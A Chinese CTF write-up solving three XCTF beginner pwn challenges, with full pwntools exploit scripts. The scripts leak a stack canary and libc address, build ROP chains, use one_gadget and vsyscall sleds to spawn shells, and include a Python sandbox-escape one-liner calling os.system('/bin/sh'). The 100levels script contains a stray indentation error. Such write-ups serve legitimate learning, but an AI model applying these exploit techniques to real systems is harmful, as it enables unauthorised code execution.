2019XCTF攻防世界之萌新入坑

XCTF攻防世界的题质量确实很高,还有解题思路和writeup,真是棒极了。

萌新入坑

0x01 babystack

  1. 保护机制
    2019XCTF攻防世界之萌新入坑_第1张图片
    题目开启了nx,canary

  2. 题目代码
    2019XCTF攻防世界之萌新入坑_第2张图片
    2019XCTF攻防世界之萌新入坑_第3张图片

  3. 思路分析

①这道题主要是绕过canary,然后栈溢出getshell。
②经分析,read函数读入到s处,可以溢出。
③put函数输出s的内容,遇到’\x00’才停止,即使字符串中存在’\n’,也会继续输出,用来泄露canary的值。
④泄露出canary的值后,通过read函数溢出,泄露出read函数地址,得到libc基址。
⑤用onegadget直接找到execve的地址,再次溢出,跳转到此地址获得shell。
one_gadget https://github.com/david942j/one_gadget

2019XCTF攻防世界之萌新入坑_第4张图片

  1. exp
# -*- coding:utf-8 -*-  
from pwn import * 
import sys
from time import sleep
context.log_level = "debug"

io = process("./babystack")
elf = ELF("./babystack")
libc = ELF("./libc-2.23.so")
exe_addr = 0xf0274#execve("/bin/sh", rsp+0x50, environ)

def getCanary():
    io.sendlineafter(">> ", "1")
    payload = cyclic(0x88)
    #  debug()
    io.sendline(payload)
    io.sendlineafter(">> ", "2")
    sleep(1)
    io.recvuntil("\n")
    sleep(1)
    canary = u64("\x00" + io.recv(7))
    return canary
    
def getBase(canary):
    read_got = elf.got["read"]
    read_plt = elf.plt["read"]
    puts_plt = elf.plt["puts"]
    start_plt = 0x400720
    pop_rdi_ret = 0x0000000000400a93
    pop_rsi_r15_ret = 0x0000000000400a91
    io.sendlineafter(">> ", "1")

    payload = cyclic(0x88) + p64(canary) * 2 + p64(pop_rdi_ret) + p64(read_got) + p64(puts_plt) + p64(start_plt)
    
    io.sendline(payload)
    io.sendlineafter(">> ", "3")
    read_leaked = u64(io.recv(6).ljust(8, '\x00'))
    
    read_libc = libc.symbols["read"]
    libc_base = read_leaked - read_libc
    return libc_base
    
def getShell(canary, libcBase):
    io.sendlineafter(">> ", "1")
    exeAddr = libcBase + exe_addr
    payload = cyclic(0x88) + p64(canary) * 2 + p64(exeAddr)
    io.sendline(payload)
    io.sendlineafter(">> ", "3")
    io.interactive()
    
canary = getCanary()
libcBase = getBase(canary)
canary = getCanary()
getShell(canary, libcBase)

0x02 100levels

  1. 保护

2019XCTF攻防世界之萌新入坑_第5张图片
2. 题目

2019XCTF攻防世界之萌新入坑_第6张图片

2019XCTF攻防世界之萌新入坑_第7张图片
2019XCTF攻防世界之萌新入坑_第8张图片

思路分析

题目的关键是绕过pie,一个栈溢出函数,同时将system地址写到var_100处,同时后面还能改写system的值,如果构造rop的话不知道地址,所以这道题主要是利用bypass,先将var_100的system修改为one_gadget ,然后利用vsyscall跳转到one_gadget ,不说了,和这道题一个样,要弄懂有一定难度。https://bbs.ichunqiu.com/thread-43627-1-1.html
啥叫vsyscall??可以这样简单的理解,利用它就相当于利用rop链的滑板指令,可以一直滑到我们想返回的地址。
作为小白一脸懵逼*_*

exp

from pwn import *
context.log_level = 'debug' 
io = remote("111.198.29.45",32517 )
#io.=process("./100levels")

one_gadget = 0x4526a
system_offset = 0x45390
ret_addr = 0xffffffffff600000#vsyscall,当滑板用

io.sendlineafter("Choice:\n", '2')#将system函数地址写入var_100处
io.sendlineafter("Choice:\n", '1')#进入go函数
io.sendlineafter("levels?\n", str(0))#防止system值被改写
io.sendlineafter("more?\n", str(one_gadget - system_offset))
#将var_100处的system地址改写为one_gadget的地址

#递归调用了99次,所以要回答99次问题
    for i in range(99):
        io.recvuntil("Question: ")
        a = int(io.recvuntil(" ")[:-1])
        io.recvuntil("* ")
        b = int(io.recvuntil(" ")[:-1])
        io.sendlineafter("Answer:", str(a * b))
    #最后一次,控制ret返回到one_gadget
    payload  = 'A' * 0x30   # buffer
    payload += 'B' * 0x8    # rbp
    payload += p64(ret_addr) * 3
    
    #栈调用结构来看,需要三个滑板
    io.sendafter("Answer:", payload) 
    io.interactive()

0x03 Escape_From_Jail-50
python的Jail(python沙箱逃逸),利用getattr(os,“system”)("/bin/sh") 函数直接getshell

你可能感兴趣的:(栈溢出,pwn)